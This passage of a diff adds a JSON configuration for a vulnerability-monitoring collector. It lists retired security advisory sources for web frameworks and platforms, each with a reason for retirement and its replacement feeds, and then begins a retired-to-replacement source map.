+ "NVD Adobe Commerce"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "adobe-commerce",
+ "display_name": "Adobe Commerce",
+ "source_name": "NVD Adobe Commerce",
+ "bucket": "official_sources",
+ "kind": "nvd-search",
+ "retired_reason": "Adobe Magento Security Index is now the active official machine-readable source, so NVD public search is no longer needed for daily collection.",
+ "replacement_sources": [
+ "Adobe Magento Security Index"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "adobe-commerce",
+ "display_name": "Adobe Commerce",
+ "source_name": "Sansec Research",
+ "bucket": "ecosystem_sources",
+ "kind": "vendor-index",
+ "retired_reason": "Research index is too slow for daily active monitoring; GHSA Adobe Commerce provides a stable machine-readable replacement.",
+ "replacement_sources": [
+ "GHSA Adobe Commerce",
+ "Adobe Magento Security Index"
+ ],
+ "url": "https://sansec.io/research"
+ },
+ {
+ "system_id": "angular",
+ "display_name": "Angular",
+ "source_name": "GitHub Global Advisories",
+ "bucket": "official_sources",
+ "kind": "ghsa-global",
+ "retired_reason": "Unauthenticated GHSA API requests are rate-limited in daily monitoring; OSV Angular remains the active replacement source.",
+ "replacement_sources": [
+ "OSV Angular"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "apache-httpd",
+ "display_name": "Apache HTTP Server",
+ "source_name": "NVD Apache HTTP Server",
+ "bucket": "official_sources",
+ "kind": "nvd-search",
+ "retired_reason": "Official Apache HTTPD advisories page plus CISA KEV are sufficient active sources for daily monitoring.",
+ "replacement_sources": [
+ "Apache HTTPD Security",
+ "CISA KEV Apache HTTPD"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "apache-tomcat",
+ "display_name": "Apache Tomcat",
+ "source_name": "NVD Tomcat",
+ "bucket": "official_sources",
+ "kind": "nvd-search",
+ "retired_reason": "Official Tomcat advisories page plus CISA KEV are sufficient active sources for daily monitoring.",
+ "replacement_sources": [
+ "Apache Tomcat Security",
+ "CISA KEV Tomcat"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "aspnet-core",
+ "display_name": "ASP.NET Core",
+ "source_name": "NVD ASP.NET Core",
+ "bucket": "official_sources",
+ "kind": "nvd-search",
+ "retired_reason": "OSV ASP.NET Core provides machine-readable NuGet-aligned coverage with lower latency than NVD public search.",
+ "replacement_sources": [
+ "OSV ASP.NET Core"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "astro",
+ "display_name": "Astro",
+ "source_name": "GitHub Global Advisories",
+ "bucket": "official_sources",
+ "kind": "ghsa-global",
+ "retired_reason": "Unauthenticated GHSA API requests are rate-limited in daily monitoring; OSV Astro remains the active replacement source.",
+ "replacement_sources": [
+ "OSV Astro"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "caddy",
+ "display_name": "Caddy",
+ "source_name": "GitHub Caddy Advisories",
+ "bucket": "official_sources",
+ "kind": "html-links",
+ "retired_reason": "OSV Caddy is the active official machine-readable replacement; keeping GitHub HTML advisories active adds duplicate cold-start cost.",
+ "replacement_sources": [
+ "OSV Caddy"
+ ],
+ "url": "https://github.com/caddyserver/caddy/security/advisories"
+ },
+ {
+ "system_id": "discourse",
+ "display_name": "Discourse",
+ "source_name": "Discourse Meta Security",
+ "bucket": "official_sources",
+ "kind": "html-links",
+ "retired_reason": "Meta security category HTML changed and no longer provides stable scrape semantics for health checks.",
+ "replacement_sources": [
+ "Discourse Release Notes RSS",
+ "GitHub Discourse Advisories"
+ ],
+ "url": "https://meta.discourse.org/c/bug/security/40"
+ },
+ {
+ "system_id": "discourse",
+ "display_name": "Discourse",
+ "source_name": "GitHub Discourse Advisories",
+ "bucket": "official_sources",
+ "kind": "ghsa-global",
+ "retired_reason": "Unauthenticated GHSA API requests are rate-limited in daily monitoring; Discourse release feed remains the active official source.",
+ "replacement_sources": [
+ "Discourse Release Notes RSS",
+ "Discourse Security RSS"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "django",
+ "display_name": "Django",
+ "source_name": "Django Security RSS",
+ "bucket": "official_sources",
+ "kind": "rss-feed",
+ "retired_reason": "Official security tag feed became unstable; use official weblog index and release archive instead.",
+ "replacement_sources": [
+ "Django Security Weblog",
+ "Django Security Releases Archive"
+ ],
+ "url": "https://www.djangoproject.com/weblog/feeds/tags/security/"
+ },
+ {
+ "system_id": "drupal",
+ "display_name": "Drupal",
+ "source_name": "NVD Drupal",
+ "bucket": "official_sources",
+ "kind": "nvd-search",
+ "retired_reason": "OSV Drupal + Drupal official RSS now cover machine-readable collection with lower cold-start latency than NVD public search.",
+ "replacement_sources": [
+ "Drupal Security Advisories RSS",
+ "OSV Drupal"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "esbuild",
+ "display_name": "esbuild",
+ "source_name": "GitHub Global Advisories",
+ "bucket": "official_sources",
+ "kind": "ghsa-global",
+ "retired_reason": "Unauthenticated GHSA API requests are rate-limited in daily monitoring; OSV esbuild remains the active replacement source.",
+ "replacement_sources": [
+ "OSV esbuild"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "esbuild",
+ "display_name": "esbuild",
+ "source_name": "NVD esbuild",
+ "bucket": "ecosystem_sources",
+ "kind": "nvd-search",
+ "retired_reason": "OSV esbuild replaces NVD public search for lower-latency machine-readable collection.",
+ "replacement_sources": [
+ "OSV esbuild"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "express",
+ "display_name": "Express",
+ "source_name": "GitHub Global Advisories",
+ "bucket": "official_sources",
+ "kind": "ghsa-global",
+ "retired_reason": "Unauthenticated GHSA API requests are rate-limited in daily monitoring; OSV Express remains the active replacement source.",
+ "replacement_sources": [
+ "OSV Express"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "express",
+ "display_name": "Express",
+ "source_name": "NVD Express.js",
+ "bucket": "ecosystem_sources",
+ "kind": "nvd-search",
+ "retired_reason": "OSV Express replaces NVD public search for lower-latency machine-readable collection.",
+ "replacement_sources": [
+ "OSV Express"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "fastify",
+ "display_name": "Fastify",
+ "source_name": "GitHub Global Advisories",
+ "bucket": "official_sources",
+ "kind": "ghsa-global",
+ "retired_reason": "Unauthenticated GHSA API requests are rate-limited in daily monitoring; OSV Fastify remains the active replacement source.",
+ "replacement_sources": [
+ "OSV Fastify"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "flask",
+ "display_name": "Flask",
+ "source_name": "GitHub Global Advisories",
+ "bucket": "official_sources",
+ "kind": "ghsa-global",
+ "retired_reason": "Unauthenticated GitHub advisory API is quota-limited; OSV Flask remains the active machine-readable source.",
+ "replacement_sources": [
+ "OSV Flask"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "ghost",
+ "display_name": "Ghost",
+ "source_name": "NVD Ghost",
+ "bucket": "official_sources",
+ "kind": "nvd-search",
+ "retired_reason": "OSV Ghost replaces NVD for machine-readable collection and keeps npm package alignment.",
+ "replacement_sources": [
+ "Ghost GitHub Advisories",
+ "OSV Ghost"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "gitea",
+ "display_name": "Gitea",
+ "source_name": "GitHub Gitea Advisories",
+ "bucket": "official_sources",
+ "kind": "html-links",
+ "retired_reason": "OSV Gitea is the active official machine-readable replacement; keeping GitHub HTML advisories active adds duplicate cold-start cost.",
+ "replacement_sources": [
+ "OSV Gitea"
+ ],
+ "url": "https://github.com/go-gitea/gitea/security/advisories"
+ },
+ {
+ "system_id": "gitlab-ce",
+ "display_name": "GitLab CE",
+ "source_name": "GitLab Security Releases",
+ "bucket": "official_sources",
+ "kind": "html-links",
+ "retired_reason": "GitLab Security Releases Atom is the official machine-readable replacement; keeping both active adds duplicate cold-start cost without added coverage.",
+ "replacement_sources": [
+ "GitLab Security Releases Atom"
+ ],
+ "url": "https://about.gitlab.com/releases/categories/releases/"
+ },
+ {
+ "system_id": "gitlab-ce",
+ "display_name": "GitLab CE",
+ "source_name": "NVD GitLab",
+ "bucket": "official_sources",
+ "kind": "nvd-search",
+ "retired_reason": "GitLab Security Releases Atom provides an official machine-readable feed, so NVD public search is no longer required.",
+ "replacement_sources": [
+ "GitLab Security Releases",
+ "GitLab Security Releases Atom"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "hapi",
+ "display_name": "Hapi",
+ "source_name": "GitHub Global Advisories",
+ "bucket": "official_sources",
+ "kind": "ghsa-global",
+ "retired_reason": "Unauthenticated GHSA API requests are rate-limited in daily monitoring; OSV Hapi remains the active replacement source.",
+ "replacement_sources": [
+ "OSV Hapi"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "haproxy",
+ "display_name": "HAProxy",
+ "source_name": "HAProxy Security Advisories",
+ "bucket": "official_sources",
+ "kind": "html-links",
+ "retired_reason": "Legacy haproxy.org security page no longer yields stable scrape results for monitoring.",
+ "replacement_sources": [
+ "HAProxy Blog Feed"
+ ],
+ "url": "https://www.haproxy.org/security/"
+ },
+ {
+ "system_id": "haproxy",
+ "display_name": "HAProxy",
+ "source_name": "NVD HAProxy",
+ "bucket": "official_sources",
+ "kind": "nvd-search",
+ "retired_reason": "HAProxy Blog Feed is an active official RSS source, so NVD public search is no longer required.",
+ "replacement_sources": [
+ "HAProxy Blog Feed"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "jenkins",
+ "display_name": "Jenkins",
+ "source_name": "Jenkins Security Advisories",
+ "bucket": "official_sources",
+ "kind": "html-links",
+ "retired_reason": "Jenkins Security Advisories RSS is the official machine-readable replacement; keeping both active adds duplicate cold-start cost without added coverage.",
+ "replacement_sources": [
+ "Jenkins Security Advisories RSS"
+ ],
+ "url": "https://www.jenkins.io/security/advisories/"
+ },
+ {
+ "system_id": "jenkins",
+ "display_name": "Jenkins",
+ "source_name": "NVD Jenkins",
+ "bucket": "official_sources",
+ "kind": "nvd-search",
+ "retired_reason": "Jenkins Security Advisories RSS provides an official machine-readable feed, replacing NVD public search.",
+ "replacement_sources": [
+ "Jenkins Security Advisories",
+ "Jenkins Security Advisories RSS"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "joomla",
+ "display_name": "Joomla",
+ "source_name": "NVD Joomla",
+ "bucket": "official_sources",
+ "kind": "nvd-search",
+ "retired_reason": "OSV Joomla CMS replaces NVD for machine-readable collection without public NVD throttling.",
+ "replacement_sources": [
+ "Joomla Security Centre",
+ "OSV Joomla"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "kibana",
+ "display_name": "Kibana",
+ "source_name": "Elastic Security Announcements RSS",
+ "bucket": "official_sources",
+ "kind": "rss-feed",
+ "retired_reason": "Elastic Discuss RSS is frequently rate-limited by cloud_10_secs_limit during monitor/source-health bursts; use Elastic Product Security plus NVD Kibana for stable active coverage.",
+ "replacement_sources": [
+ "Elastic Product Security",
+ "NVD Kibana"
+ ],
+ "url": "https://discuss.elastic.co/c/announcements/security-announcements/31.rss"
+ },
+ {
+ "system_id": "koa",
+ "display_name": "Koa",
+ "source_name": "GitHub Global Advisories",
+ "bucket": "official_sources",
+ "kind": "ghsa-global",
+ "retired_reason": "Unauthenticated GHSA API requests are rate-limited in daily monitoring; OSV Koa remains the active replacement source.",
+ "replacement_sources": [
+ "OSV Koa"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "laravel",
+ "display_name": "Laravel",
+ "source_name": "GitHub Global Advisories",
+ "bucket": "official_sources",
+ "kind": "ghsa-global",
+ "retired_reason": "Unauthenticated GitHub advisory API is quota-limited; OSV Laravel remains the active machine-readable source.",
+ "replacement_sources": [
+ "OSV Laravel"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "magento-open-source",
+ "display_name": "Magento Open Source",
+ "source_name": "NVD Magento",
+ "bucket": "official_sources",
+ "kind": "nvd-search",
+ "retired_reason": "OSV Magento Open Source plus Magento GitHub advisories replace NVD public search for machine-readable collection.",
+ "replacement_sources": [
+ "Magento GitHub Advisories",
+ "OSV Magento Open Source"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "mattermost",
+ "display_name": "Mattermost",
+ "source_name": "Mattermost Security Updates",
+ "bucket": "official_sources",
+ "kind": "html-links",
+ "retired_reason": "Mattermost security updates page returned repeated 403 responses from the collector path; NVD replacement remains active.",
+ "replacement_sources": [
+ "NVD Mattermost"
+ ],
+ "url": "https://mattermost.com/security-updates/"
+ },
+ {
+ "system_id": "mattermost",
+ "display_name": "Mattermost",
+ "source_name": "NVD Mattermost",
+ "bucket": "official_sources",
+ "kind": "nvd-search",
+ "retired_reason": "Mattermost official JSON feed plus OSV Mattermost replace NVD for lower-latency machine-readable collection.",
+ "replacement_sources": [
+ "Mattermost Security Updates JSON",
+ "OSV Mattermost"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "mediawiki",
+ "display_name": "MediaWiki",
+ "source_name": "MediaWiki Security Releases",
+ "bucket": "official_sources",
+ "kind": "html-links",
+ "retired_reason": "MediaWiki security page is no longer reachable reliably from the collector path; NVD replacement remains active.",
+ "replacement_sources": [
+ "MediaWiki Announce RSS",
+ "NVD MediaWiki"
+ ],
+ "url": "https://www.mediawiki.org/wiki/Security"
+ },
+ {
+ "system_id": "mediawiki",
+ "display_name": "MediaWiki",
+ "source_name": "NVD MediaWiki",
+ "bucket": "official_sources",
+ "kind": "nvd-search",
+ "retired_reason": "MediaWiki announce RSS plus OSV MediaWiki now replace NVD for lower-latency machine-readable collection.",
+ "replacement_sources": [
+ "MediaWiki Announce RSS",
+ "OSV MediaWiki"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "medusa",
+ "display_name": "Medusa",
+ "source_name": "GitHub Medusa Advisories",
+ "bucket": "official_sources",
+ "kind": "html-links",
+ "retired_reason": "OSV Medusa is the active official machine-readable replacement; keeping GitHub HTML advisories active adds duplicate cold-start cost.",
+ "replacement_sources": [
+ "OSV Medusa"
+ ],
+ "url": "https://github.com/medusajs/medusa/security/advisories"
+ },
+ {
+ "system_id": "moodle",
+ "display_name": "Moodle",
+ "source_name": "Moodle Security News",
+ "bucket": "official_sources",
+ "kind": "html-links",
+ "retired_reason": "Security page is reachable with a browser-style UA, but the current markup only exposes generic \"Discuss this topic\" anchors to the collector; NVD Moodle remains the active replacement source until a richer parser is added.",
+ "replacement_sources": [
+ "NVD Moodle"
+ ],
+ "url": "https://moodle.org/security/"
+ },
+ {
+ "system_id": "moodle",
+ "display_name": "Moodle",
+ "source_name": "NVD Moodle",
+ "bucket": "official_sources",
+ "kind": "nvd-search",
+ "retired_reason": "OSV Moodle replaces NVD for machine-readable collection while official Moodle sources remain for cross-checking.",
+ "replacement_sources": [
+ "OSV Moodle"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "nestjs",
+ "display_name": "NestJS",
+ "source_name": "GitHub Global Advisories",
+ "bucket": "official_sources",
+ "kind": "ghsa-global",
+ "retired_reason": "Unauthenticated GHSA API requests are rate-limited in daily monitoring; OSV NestJS remains the active replacement source.",
+ "replacement_sources": [
+ "OSV NestJS"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "nestjs",
+ "display_name": "NestJS",
+ "source_name": "NVD NestJS",
+ "bucket": "ecosystem_sources",
+ "kind": "nvd-search",
+ "retired_reason": "OSV NestJS replaces NVD public search for lower-latency machine-readable collection.",
+ "replacement_sources": [
+ "OSV NestJS"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "nextjs",
+ "display_name": "Next.js",
+ "source_name": "GitHub Global Advisories",
+ "bucket": "official_sources",
+ "kind": "ghsa-global",
+ "retired_reason": "Unauthenticated GHSA API requests are rate-limited in daily monitoring; GitHub Next.js Advisories and OSV Next.js remain active replacements.",
+ "replacement_sources": [
+ "GitHub Next.js Advisories",
+ "OSV Next.js"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "nextjs",
+ "display_name": "Next.js",
+ "source_name": "GitHub Next.js Advisories",
+ "bucket": "official_sources",
+ "kind": "html-links",
+ "retired_reason": "OSV Next.js is the active official machine-readable replacement; keeping GitHub HTML advisories active adds duplicate cold-start cost.",
+ "replacement_sources": [
+ "OSV Next.js"
+ ],
+ "url": "https://github.com/vercel/next.js/security/advisories"
+ },
+ {
+ "system_id": "nginx",
+ "display_name": "Nginx",
+ "source_name": "NVD NGINX",
+ "bucket": "official_sources",
+ "kind": "nvd-search",
+ "retired_reason": "Official NGINX advisories page and CISA KEV together provide the needed daily signal without NVD public-search latency.",
+ "replacement_sources": [
+ "NGINX Security Advisories",
+ "CISA KEV NGINX"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "nuxt",
+ "display_name": "Nuxt",
+ "source_name": "GitHub Global Advisories",
+ "bucket": "official_sources",
+ "kind": "ghsa-global",
+ "retired_reason": "Unauthenticated GHSA API requests are rate-limited in daily monitoring; Nuxt Security and OSV Nuxt remain active replacements.",
+ "replacement_sources": [
+ "Nuxt Security",
+ "OSV Nuxt"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "nuxt",
+ "display_name": "Nuxt",
+ "source_name": "Nuxt Security",
+ "bucket": "official_sources",
+ "kind": "html-links",
+ "retired_reason": "OSV Nuxt is the active official machine-readable replacement; keeping GitHub HTML advisories active adds duplicate cold-start cost.",
+ "replacement_sources": [
+ "OSV Nuxt"
+ ],
+ "url": "https://github.com/nuxt/nuxt/security/advisories"
+ },
+ {
+ "system_id": "opencart",
+ "display_name": "OpenCart",
+ "source_name": "NVD OpenCart",
+ "bucket": "official_sources",
+ "kind": "nvd-search",
+ "retired_reason": "OSV OpenCart replaces NVD for machine-readable collection while official release source remains active.",
+ "replacement_sources": [
+ "OpenCart Releases",
+ "OSV OpenCart"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "openmage",
+ "display_name": "OpenMage / Mage-OS",
+ "source_name": "NVD OpenMage",
+ "bucket": "official_sources",
+ "kind": "nvd-search",
+ "retired_reason": "OSV OpenMage replaces NVD for machine-readable composer-aligned collection.",
+ "replacement_sources": [
+ "OpenMage GitHub Advisories",
+ "OSV OpenMage"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "phpmyadmin",
+ "display_name": "phpMyAdmin",
+ "source_name": "NVD phpMyAdmin",
+ "bucket": "official_sources",
+ "kind": "nvd-search",
+ "retired_reason": "OSV phpMyAdmin replaces NVD for machine-readable collection while the official security page remains active.",
+ "replacement_sources": [
+ "phpMyAdmin Security Page",
+ "OSV phpMyAdmin"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "prestashop",
+ "display_name": "PrestaShop",
+ "source_name": "NVD PrestaShop",
+ "bucket": "official_sources",
+ "kind": "nvd-search",
+ "retired_reason": "OSV PrestaShop replaces NVD for machine-readable collection while official and ecosystem advisories remain active.",
+ "replacement_sources": [
+ "PrestaShop Security Page",
+ "GitHub PrestaShop Advisories",
+ "OSV PrestaShop"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "rails",
+ "display_name": "Ruby on Rails",
+ "source_name": "GitHub Global Advisories",
+ "bucket": "official_sources",
+ "kind": "ghsa-global",
+ "retired_reason": "Unauthenticated GitHub advisory API is quota-limited; OSV Rails remains the active machine-readable source.",
+ "replacement_sources": [
+ "OSV Rails"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "rails",
+ "display_name": "Ruby on Rails",
+ "source_name": "NVD Ruby on Rails",
+ "bucket": "ecosystem_sources",
+ "kind": "nvd-search",
+ "retired_reason": "OSV Rails replaces NVD public search for lower-latency machine-readable collection.",
+ "replacement_sources": [
+ "OSV Rails"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "react",
+ "display_name": "React",
+ "source_name": "GitHub Global Advisories",
+ "bucket": "official_sources",
+ "kind": "ghsa-global",
+ "retired_reason": "Unauthenticated GHSA API requests are rate-limited in daily monitoring; GitHub React Advisories and OSV React remain active replacements.",
+ "replacement_sources": [
+ "GitHub React Advisories",
+ "OSV React"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "react",
+ "display_name": "React",
+ "source_name": "GitHub React Advisories",
+ "bucket": "official_sources",
+ "kind": "html-links",
+ "retired_reason": "OSV React is the active official machine-readable replacement; keeping GitHub HTML advisories active adds duplicate cold-start cost.",
+ "replacement_sources": [
+ "OSV React"
+ ],
+ "url": "https://github.com/facebook/react/security/advisories"
+ },
+ {
+ "system_id": "redmine",
+ "display_name": "Redmine",
+ "source_name": "NVD Redmine",
+ "bucket": "official_sources",
+ "kind": "nvd-search",
+ "retired_reason": "Official Redmine advisories page remains active and NVD public search is retired to reduce cold-start latency.",
+ "replacement_sources": [
+ "Redmine Security Advisories"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "saleor",
+ "display_name": "Saleor",
+ "source_name": "NVD Saleor",
+ "bucket": "official_sources",
+ "kind": "nvd-search",
+ "retired_reason": "OSV Saleor replaces NVD for machine-readable collection and aligns with the published PyPI package.",
+ "replacement_sources": [
+ "GitHub Saleor Advisories",
+ "OSV Saleor"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "shopware",
+ "display_name": "Shopware",
+ "source_name": "NVD Shopware",
+ "bucket": "official_sources",
+ "kind": "nvd-search",
+ "retired_reason": "OSV Shopware replaces NVD for machine-readable collection with lower cold-start overhead.",
+ "replacement_sources": [
+ "Shopware Security Advisories",
+ "OSV Shopware"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "spring-boot",
+ "display_name": "Spring Boot",
+ "source_name": "GitHub Global Advisories",
+ "bucket": "official_sources",
+ "kind": "ghsa-global",
+ "retired_reason": "Unauthenticated GitHub advisory API is quota-limited; Spring official page and OSV remain the active replacements.",
+ "replacement_sources": [
+ "Spring Security Advisories",
+ "OSV Spring Boot"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "spring-framework",
+ "display_name": "Spring Framework",
+ "source_name": "GitHub Global Advisories",
+ "bucket": "official_sources",
+ "kind": "ghsa-global",
+ "retired_reason": "Unauthenticated GHSA API requests are rate-limited in daily monitoring; Spring official page and OSV remain the active replacements.",
+ "replacement_sources": [
+ "Spring Security Advisories",
+ "OSV Spring Framework"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "spring-security",
+ "display_name": "Spring Security",
+ "source_name": "GitHub Global Advisories",
+ "bucket": "official_sources",
+ "kind": "ghsa-global",
+ "retired_reason": "Unauthenticated GitHub advisory API is quota-limited; Spring official page and OSV remain the active replacements.",
+ "replacement_sources": [
+ "Spring Security Advisories",
+ "OSV Spring Security"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "sveltekit",
+ "display_name": "SvelteKit",
+ "source_name": "GitHub Global Advisories",
+ "bucket": "official_sources",
+ "kind": "ghsa-global",
+ "retired_reason": "Unauthenticated GHSA API requests are rate-limited in daily monitoring; OSV SvelteKit remains the active replacement source.",
+ "replacement_sources": [
+ "OSV SvelteKit"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "symfony",
+ "display_name": "Symfony",
+ "source_name": "GitHub Global Advisories",
+ "bucket": "official_sources",
+ "kind": "ghsa-global",
+ "retired_reason": "Unauthenticated GitHub advisory API is quota-limited; OSV Symfony remains the active machine-readable source.",
+ "replacement_sources": [
+ "OSV Symfony"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "traefik",
+ "display_name": "Traefik",
+ "source_name": "GitHub Traefik Advisories",
+ "bucket": "official_sources",
+ "kind": "html-links",
+ "retired_reason": "OSV Traefik is the active official machine-readable replacement; keeping GitHub HTML advisories active adds duplicate cold-start cost.",
+ "replacement_sources": [
+ "OSV Traefik"
+ ],
+ "url": "https://github.com/traefik/traefik/security/advisories"
+ },
+ {
+ "system_id": "undici",
+ "display_name": "Undici",
+ "source_name": "GitHub Global Advisories",
+ "bucket": "official_sources",
+ "kind": "ghsa-global",
+ "retired_reason": "Unauthenticated GHSA API requests are rate-limited in daily monitoring; OSV Undici remains the active replacement source.",
+ "replacement_sources": [
+ "OSV Undici"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "undici",
+ "display_name": "Undici",
+ "source_name": "NVD Undici",
+ "bucket": "ecosystem_sources",
+ "kind": "nvd-search",
+ "retired_reason": "OSV Undici replaces NVD public search for lower-latency machine-readable collection.",
+ "replacement_sources": [
+ "OSV Undici"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "vite",
+ "display_name": "Vite",
+ "source_name": "GitHub Global Advisories",
+ "bucket": "official_sources",
+ "kind": "ghsa-global",
+ "retired_reason": "Unauthenticated GHSA API requests are rate-limited in daily monitoring; Vite Security and OSV Vite remain active replacements.",
+ "replacement_sources": [
+ "Vite Security",
+ "OSV Vite"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "vite",
+ "display_name": "Vite",
+ "source_name": "Vite Security",
+ "bucket": "official_sources",
+ "kind": "html-links",
+ "retired_reason": "OSV Vite is the active official machine-readable replacement; keeping GitHub HTML advisories active adds duplicate cold-start cost.",
+ "replacement_sources": [
+ "OSV Vite"
+ ],
+ "url": "https://github.com/vitejs/vite/security/advisories"
+ },
+ {
+ "system_id": "vue",
+ "display_name": "Vue",
+ "source_name": "GitHub Global Advisories",
+ "bucket": "official_sources",
+ "kind": "ghsa-global",
+ "retired_reason": "Unauthenticated GHSA API requests are rate-limited in daily monitoring; Vue Security and OSV Vue remain active replacements.",
+ "replacement_sources": [
+ "Vue Security",
+ "OSV Vue"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "vue",
+ "display_name": "Vue",
+ "source_name": "Vue Security",
+ "bucket": "official_sources",
+ "kind": "html-links",
+ "retired_reason": "OSV Vue is the active official machine-readable replacement; keeping GitHub HTML advisories active adds duplicate cold-start cost.",
+ "replacement_sources": [
+ "OSV Vue"
+ ],
+ "url": "https://github.com/vuejs/core/security"
+ },
+ {
+ "system_id": "webpack",
+ "display_name": "webpack",
+ "source_name": "GitHub Global Advisories",
+ "bucket": "official_sources",
+ "kind": "ghsa-global",
+ "retired_reason": "Unauthenticated GHSA API requests are rate-limited in daily monitoring; OSV webpack remains the active replacement source.",
+ "replacement_sources": [
+ "OSV webpack"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "webpack",
+ "display_name": "webpack",
+ "source_name": "NVD webpack",
+ "bucket": "ecosystem_sources",
+ "kind": "nvd-search",
+ "retired_reason": "OSV webpack replaces NVD public search for lower-latency machine-readable collection.",
+ "replacement_sources": [
+ "OSV webpack"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "werkzeug",
+ "display_name": "Werkzeug",
+ "source_name": "GitHub Global Advisories",
+ "bucket": "official_sources",
+ "kind": "ghsa-global",
+ "retired_reason": "Unauthenticated GitHub advisory API is quota-limited; OSV Werkzeug remains the active machine-readable source.",
+ "replacement_sources": [
+ "OSV Werkzeug"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "woocommerce",
+ "display_name": "WooCommerce",
+ "source_name": "NVD WooCommerce",
+ "bucket": "official_sources",
+ "kind": "nvd-search",
+ "retired_reason": "OSV WooCommerce replaces NVD for machine-readable collection while official and ecosystem advisory pages remain active.",
+ "replacement_sources": [
+ "Woo Developer Advisories",
+ "GitHub WooCommerce Advisories",
+ "OSV WooCommerce"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "wordpress",
+ "display_name": "WordPress",
+ "source_name": "NVD WordPress",
+ "bucket": "official_sources",
+ "kind": "nvd-search",
+ "retired_reason": "WordPress official RSS plus ecosystem plugin intelligence cover active collection with lower cold-start latency and lower public-search dependence than NVD.",
+ "replacement_sources": [
+ "WordPress Security News RSS",
+ "Wordfence Vulnerability Database",
+ "WPScan Vulnerability Database"
+ ],
+ "url": ""
+ }
+ ],
+ "replacement_map": [
+ {
+ "system_id": "adminer",
+ "retired_source": "NVD Adminer",
+ "replacement_sources": [
+ "OSV Adminer"
+ ]
+ },
+ {
+ "system_id": "adobe-commerce",
+ "retired_source": "Adobe Security Bulletins",
+ "replacement_sources": [
+ "Adobe Magento Security Index",
+ "NVD Adobe Commerce",
+ "GHSA Adobe Commerce"
+ ]
+ },
+ {
+ "system_id": "adobe-commerce",
+ "retired_source": "GHSA Adobe Commerce",
+ "replacement_sources": [
+ "Adobe Magento Security Index",
+ "NVD Adobe Commerce"
+ ]
+ },
+ {
+ "system_id": "adobe-commerce",
+ "retired_source": "NVD Adobe Commerce",
+ "replacement_sources": [
+ "Adobe Magento Security Index"
+ ]
+ },
+ {
+ "system_id": "adobe-commerce",
+ "retired_source": "Sansec Research",
+ "replacement_sources": [
+ "GHSA Adobe Commerce",
+ "Adobe Magento Security Index"
+ ]
+ },
+ {
+ "system_id": "angular",
+ "retired_source": "GitHub Global Advisories",
+ "replacement_sources": [
+ "OSV Angular"
+ ]
+ },
+ {
+ "system_id": "apache-httpd",
+ "retired_source": "NVD Apache HTTP Server",
+ "replacement_sources": [
+ "Apache HTTPD Security",
+ "CISA KEV Apache HTTPD"
+ ]
+ },
+ {
+ "system_id": "apache-tomcat",
+ "retired_source": "NVD Tomcat",
+ "replacement_sources": [
+ "Apache Tomcat Security",
+ "CISA KEV Tomcat"
+ ]
+ },
+ {
+ "system_id": "aspnet-core",
+ "retired_source": "NVD ASP.NET Core",
+ "replacement_sources": [
+ "OSV ASP.NET Core"
+ ]
+ },
+ {
+ "system_id": "astro",
+ "retired_source": "GitHub Global Advisories",
+ "replacement_sources": [
+ "OSV Astro"
+ ]
+ },
+ {
+ "system_id": "caddy",
+ "retired_source": "GitHub Caddy Advisories",
+ "replacement_sources": [
+ "OSV Caddy"
+ ]
+ },
+ {
+ "system_id": "discourse",
+ "retired_source": "Discourse Meta Security",
+ "replacement_sources": [
+ "Discourse Release Notes RSS",
+ "GitHub Discourse Advisories"
+ ]
+ },
+ {
+ "system_id": "discourse",
+ "retired_source": "GitHub Discourse Advisories",
+ "replacement_sources": [
+ "Discourse Release Notes RSS",
+ "Discourse Security RSS"
+ ]
+ },
+ {
+ "system_id": "django",
+ "retired_source": "Django Security RSS",
+ "replacement_sources": [
